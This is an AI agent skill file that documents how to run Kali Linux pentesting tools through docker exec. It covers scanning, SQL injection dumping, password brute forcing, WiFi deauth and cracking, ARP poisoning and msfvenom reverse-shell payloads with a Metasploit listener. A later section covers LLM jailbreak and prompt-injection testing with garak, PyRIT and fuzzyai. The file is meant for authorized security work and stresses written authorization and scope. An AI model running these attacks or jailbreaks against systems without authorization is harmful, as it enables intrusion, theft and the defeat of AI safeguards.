原始内容
name: kali-docker-pentesting description: Comprehensive pentesting toolkit using Kali Linux Docker container. Provides direct access to 200+ security tools without MCP overhead. Use when conducting security assessments, penetration testing, vulnerability scanning, or security research. Works via direct docker exec commands for maximum efficiency.
Kali Docker Pentesting Skill
Overview
This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via bash_tool, making it 70% more token-efficient.
Canonical names on this host (use these verbatim — earlier versions of this skill used a bare kali, which does not match the running container):
- Image:
kali-comprehensive:latest(built from github.com/kroegha/kali-docker-pentesting: basekalilinux/kali-rolling:latest+ Kali metapackages + Python security libs) - Container:
kali-pentest(long-running; check withdocker ps -a)
Verify before running commands: docker ps --filter name=kali-pentest. If the container name differs on a given machine, substitute it in the docker exec calls below.
Container Management
Starting the Container
# Basic start
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
kali-comprehensive
# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-v $(pwd)/results:/results \
--cap-add=NET_RAW \
--cap-add=NET_ADMIN \
--network host \
kali-comprehensive
# With GUI access (VNC)
docker run -d --name kali-pentest \
-v $(pwd)/workspace:/workspace \
-p 5900:5900 \
-p 3389:3389 \
kali-comprehensive
Running Commands
# Execute single command
docker exec kali-pentest [tool] [options]
# Interactive shell
docker exec -it kali-pentest /bin/bash
# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/
# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/
Container Lifecycle
# Stop container
docker stop kali-pentest
# Start existing container
docker start kali-pentest
# Remove container
docker rm kali-pentest
# View logs
docker logs kali-pentest
Updating the Container OS & Tools
Kali is a rolling release — there is no version upgrade, you just pull the latest packages. Because the container holds 200+ tools that took a long time to install, update in place and commit rather than rebuilding from scratch.
# 1. Back up the current image first (instant, enables rollback)
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)
# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
apt-get -y autoremove && apt-get clean'
# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest
# Roll back if an upgrade breaks something:
# docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest
Clean rebuild (alternative): to get a fresh, smaller image from the newest base, clone the repo and rebuild — slower (re-downloads everything) but reproducible:
git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build
Tool Catalog
🔍 Network Discovery & Scanning
nmap - Network Mapper
Description: Industry-standard network scanner for host discovery, port scanning, and service detection.
Usage:
# Basic scan
docker exec kali-pentest nmap 192.168.1.1
# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1
# OS detection
docker exec kali-pentest nmap -O 192.168.1.1
# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1
# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24
Common Options:
-sS- SYN stealth scan-sT- TCP connect scan-sU- UDP scan-sV- Version detection-O- OS detection-A- Aggressive scan (OS, version, scripts, traceroute)-p-- Scan all 65535 ports-Pn- Skip ping (assume host is up)-T4- Faster timing (0-5)-oA- Output all formats
masscan - Fast Port Scanner
Description: Extremely fast port scanner, can scan the entire internet in under 6 minutes.
Usage:
# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080
# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000
# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
netdiscover - Network Discovery
Description: Active/passive ARP reconnaissance tool.
Usage:
# Passive mode
docker exec kali-pentest netdiscover -p -i eth0
# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24
arp-scan - ARP Scanner
Description: Discovers IPv4 hosts using ARP.
Usage:
docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24
🌐 Web Application Testing
nikto - Web Server Scanner
Description: Web server vulnerability scanner.
Usage:
# Basic scan
docker exec kali-pentest nikto -h http://target.com
# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl
# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt
# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
dirb - Directory Brute Forcer
Description: Web content scanner.
Usage:
# Default wordlist
docker exec kali-pentest dirb http://target.com
# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt
# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt
# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
gobuster - Directory/DNS Enumeration
Description: Fast directory and DNS enumeration tool.
Usage:
# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
wfuzz - Web Fuzzer
Description: Web application fuzzer.
Usage:
# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ
# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ
# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
sqlmap - SQL Injection Tool
Description: Automatic SQL injection and database takeover tool.
Usage:
# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"
# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs
# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump
# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
wpscan - WordPress Scanner
Description: WordPress vulnerability scanner.
Usage:
# Basic scan
docker exec kali-pentest wpscan --url http://target.com
# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u
# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p
# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
whatweb - Website Fingerprinting
Description: Identifies websites and web technologies.
Usage:
# Basic scan
docker exec kali-pentest whatweb http://target.com
# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com
# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt
🔐 Password Attacks
john - John the Ripper
Description: Fast password cracker.
Usage:
# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt
# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt
# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt
# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt
# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt
hashcat - Advanced Password Recovery
Description: World's fastest password cracker.
Usage:
# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt
# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show
Hash Modes:
- 0 = MD5
- 100 = SHA1
- 1400 = SHA256
- 1700 = SHA512
- 1000 = NTLM
- 3200 = bcrypt
hydra - Network Password Cracker
Description: Fast network logon cracker.
Usage:
# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1
# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
medusa - Parallel Password Cracker
Description: Speedy, parallel, modular login brute-forcer.
Usage:
# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh
# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
crunch - Wordlist Generator
Description: Generates custom wordlists.
Usage:
# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt
# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt
# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt
📡 Wireless Security
aircrack-ng - WiFi Security Suite
Description: Complete suite for assessing WiFi network security.
Usage:
# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0
# Capture packets
docker exec kali-pentest airodump-ng wlan0mon
# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
wifite - Automated Wireless Attack
Description: Automated wireless attack tool.
Usage:
# Automatic WPA attack
docker exec kali-pentest wifite --wpa
# All attack types
docker exec kali-pentest wifite
# Specific target
docker exec kali-pentest wifite -i wlan0 --kill
reaver - WPS Attack
Description: Brute force WPS PINs.
Usage:
docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
🕵️ Information Gathering
theharvester - Email/Subdomain Harvester
Description: Gather emails, subdomains, IPs from public sources.
Usage:
# Search all sources
docker exec kali-pentest theharvester -d target.com -b all
# Specific source
docker exec kali-pentest theharvester -d target.com -b google
# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
dnsrecon - DNS Enumeration
Description: DNS enumeration and network reconnaissance.
Usage:
# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com
# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a
# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
sublist3r - Subdomain Enumeration
Description: Fast subdomain enumeration using OSINT.
Usage:
# Basic enumeration
docker exec kali-pentest sublist3r -d target.com
# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b
# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
enum4linux - SMB Enumeration
Description: Tool for enumerating information from Windows and Samba systems.
Usage:
# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1
# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1
# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1
dmitry - Deep Information Gathering
Description: Deepmagic Information Gathering Tool.
Usage:
# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com
# Subdomain search
docker exec kali-pentest dmitry -s target.com
🛡️ Exploitation Frameworks
metasploit-framework - Penetration Testing Framework
Description: The world's most used penetration testing framework.
Usage:
# Start msfconsole
docker exec -it kali-pentest msfconsole
# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe
# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"
# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc
Common msfvenom payloads:
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
social-engineer-toolkit (SET)
Description: Social engineering penetration testing framework.
Usage:
# Start SET
docker exec -it kali-pentest setoolkit
🔬 Forensics & Analysis
binwalk - Firmware Analysis
Description: Analyze and extract firmware images.
Usage:
# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin
# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin
# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin
foremost - File Carving
Description: Recover files based on headers and footers.
Usage:
# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered
# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
volatility - Memory Forensics
Description: Advanced memory forensics framework.
Usage:
# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo
# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist
# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
strings - Extract Strings
Description: Extract printable strings from files.
Usage:
# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt
# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary
# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary
exiftool - Metadata Extraction
Description: Read and write meta information in files.
Usage:
# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg
# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg
# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg
🔄 Reverse Engineering
ghidra - Software Reverse Engineering
Description: NSA's software reverse engineering framework.
Usage:
# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra
# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
radare2 - Reverse Engineering Framework
Description: Advanced reverse engineering framework.
Usage:
# Open binary
docker exec -it kali-pentest r2 /workspace/binary
# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"
# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
gdb - GNU Debugger
Description: Standard debugger for Unix systems.
Usage:
# Debug binary
docker exec -it kali-pentest gdb /workspace/binary
# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary
🎯 Vulnerability Assessment
lynis - Security Auditing
Description: Security auditing tool for Unix/Linux systems.
Usage:
# Full audit
docker exec kali-pentest lynis audit system
# Quick scan
docker exec kali-pentest lynis audit system --quick
nikto - Web Vulnerability Scanner
(See Web Application Testing section)
openvas - Vulnerability Scanner
Description: Full-featured vulnerability scanner.
Usage:
# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start
🤖 LLM / Prompt-Injection Testing
Tools for assessing LLM-backed applications (chatbots, RAG systems, AI agents) for prompt injection, jailbreaks, data leakage, and related GenAI risks. These are not in stock Kali — they were added to this image (see Updating the Container).
Install layout (isolated to avoid conflicts with Kali's apt-managed system Python):
| Tool | Install method | Invoke as |
|---|---|---|
| garak | pipx (global) | garak |
| agentic-radar | pipx (global) | agentic-radar |
| promptfoo | npm (global) | promptfoo |
| promptmap2 | git clone /opt/promptmap |
cd /opt/promptmap && python3 promptmap2.py |
| PyRIT | venv /opt/venvs/pyrit |
/opt/venvs/pyrit/bin/python |
| fuzzyai | venv /opt/venvs/fuzzyai |
/opt/venvs/fuzzyai/bin/fuzzyai |
Before you run anything:
- Every tool tests a target LLM over the network, and most also use a judge/attacker LLM — so you need reachability to the target plus an API key for the judge (
OPENAI_API_KEY,ANTHROPIC_API_KEY, or Azure creds). - Never bake keys into the image. Pass them at runtime via an env file that lives on the host only:
# host: keys.env (chmod 600, never commit) # OPENAI_API_KEY=sk-... docker run --rm --env-file keys.env kali-comprehensive garak --help # or for the long-running container, set per-exec: docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes - Point tools at API endpoints, not local models — loading a local HF model needs a GPU the container doesn't have.
garak - LLM Vulnerability Scanner ("nmap for LLMs")
Description: NVIDIA's broad-coverage probe/detector scanner (prompt injection, jailbreak, data leakage, encoding attacks, toxicity). Run-first baseline; produces a scored report. Actively maintained.
Usage:
# List available probes
docker exec kali-pentest garak --list_probes
# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
garak --model_type openai --model_name gpt-4o-mini --probes promptinject
# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
promptmap2 - Targeted Prompt-Injection Scanner
Description: Purpose-built injection tester for a specific app. White-box (supply the system prompt) or black-box (point at an HTTP endpoint). YAML rule categories: jailbreak, prompt stealing, harmful, distraction, bias. Installed under /opt/promptmap.
Usage:
# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
'cd /opt/promptmap && python3 promptmap2.py \
--prompts /workspace/system_prompt.txt \
--target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)
promptfoo - Red-Team & Eval Framework (standards-mapped)
Description: Node-based CLI. Red-team mode auto-generates adversarial prompts via 50+ plugins (prompt injection, jailbreak, PII, excessive agency) and maps findings to OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS — best for repeatable, reportable engagements.
Usage:
# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
bash -c 'cd /workspace && promptfoo redteam run'
PyRIT - Multi-Turn AI Red-Teaming Framework
Description: Microsoft's scriptable framework for deeper, multi-turn attacks (Crescendo, TAP, Skeleton Key) against OpenAI/Azure/Anthropic/custom HTTP targets. A Python library, not a one-shot CLI — the "go deep" tool once garak/promptmap surface something. Heaviest dependency footprint.
Usage:
# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
/opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
agentic-radar - Agentic Workflow Scanner
Description: SplxAI static-analysis scanner for agentic apps (LangGraph, CrewAI, OpenAI Agents SDK, n8n, MCP tools). Maps agent/tool topology and flags vulnerabilities garak/promptmap can't see. Use when the target is an agent, not a bare model.
Usage:
# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
fuzzyai - Aggressive Jailbreak Fuzzer
Description: CyberArk's LLM fuzzer focused on jailbreaks — ASCII/Unicode-tag smuggling, genetic adversarial-suffix, many-shot. Multi-provider. Installed in a dedicated venv at /opt/venvs/fuzzyai (its upstream torch/numpy pins were relaxed for Python 3.13 compatibility). Subcommands: fuzz and webui. Check the wiki for the full attack-mode list, which changes between versions.
Usage:
# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
/opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
# -m model -a attack_modes -t target_prompt (-T file for many prompts, -s system prompt)
Reference frameworks (cite these in reports)
- OWASP Top 10 for LLM Applications (2025) — LLM01 = Prompt Injection. https://genai.owasp.org/llm-top-10/
- MITRE ATLAS — adversarial-threat matrix for AI systems. https://atlas.mitre.org/
- NIST AI RMF (Generative AI Profile) — risk framing referenced by promptfoo/DeepTeam mappings.
📊 Network Analysis
tcpdump - Packet Capture
Description: Command-line packet analyzer.
Usage:
# Capture on interface
docker exec kali-pentest tcpdump -i eth0
# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap
# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap
# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
tshark - Network Protocol Analyzer
Description: Terminal-based Wireshark.
Usage:
# Capture packets
docker exec kali-pentest tshark -i eth0
# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap
# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
ettercap - Network Sniffer/Interceptor
Description: Comprehensive suite for MITM attacks.
Usage:
# Text mode
docker exec -it kali-pentest ettercap -T -i eth0
# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
Common Pentesting Workflows
1. Network Reconnaissance
# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts
# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports
# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
2. Web Application Assessment
# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com
# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt
# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt
# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch
3. Password Cracking Workflow
# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt
# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt
# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
4. Wireless Network Assessment
# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0
# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon
# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon
# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
5. Exploitation Workflow
# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49
# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe
# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
File Management
Copying Files Between Host and Container
# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/
# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/
# Copy directory
docker cp kali-pentest:/results/ ./output/
Working with Wordlists
Common Wordlist Locations:
/usr/share/wordlists/rockyou.txt- Most popular password list/usr/share/wordlists/dirb/common.txt- Common directories/usr/share/seclists/- SecLists collection/usr/share/wordlists/metasploit/- Metasploit wordlists
# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f
# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz
Troubleshooting
Container Won't Start
# Check logs
docker logs kali-pentest
# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive
Network Issues
# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive
# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
Permission Issues
# Run as root (already default)
docker exec -u root kali-pentest [command]
# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results
Metasploit Database Issues
# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init
# Check status
docker exec kali-pentest msfdb status
Best Practices
1. Always Save Results
# Use output flags
-o filename.txt # Generic output
-oA basename # Nmap: all formats
-w filename # Write to file
> /results/output.txt # Shell redirect
2. Use Volumes for Persistence
Mount volumes for:
/workspace- Working files/results- Scan results/wordlists- Custom wordlists
3. Scope Your Testing
Always:
- Get written authorization
- Define scope boundaries
- Document everything
- Report findings responsibly
4. Clean Up After Testing
# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon
# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*
# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
Quick Reference
Port Scanning
docker exec kali-pentest nmap -sV -p- target
Directory Enumeration
docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
SQL Injection
docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch
Password Cracking
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Network Brute Force
docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target
WiFi Cracking
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
When to Use This Skill
Use this skill when:
- Conducting authorized penetration testing
- Performing security assessments
- Testing network security
- Analyzing web applications
- Cracking passwords (authorized)
- Wireless security auditing
- Forensics analysis
- Reverse engineering
- Learning security techniques
Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.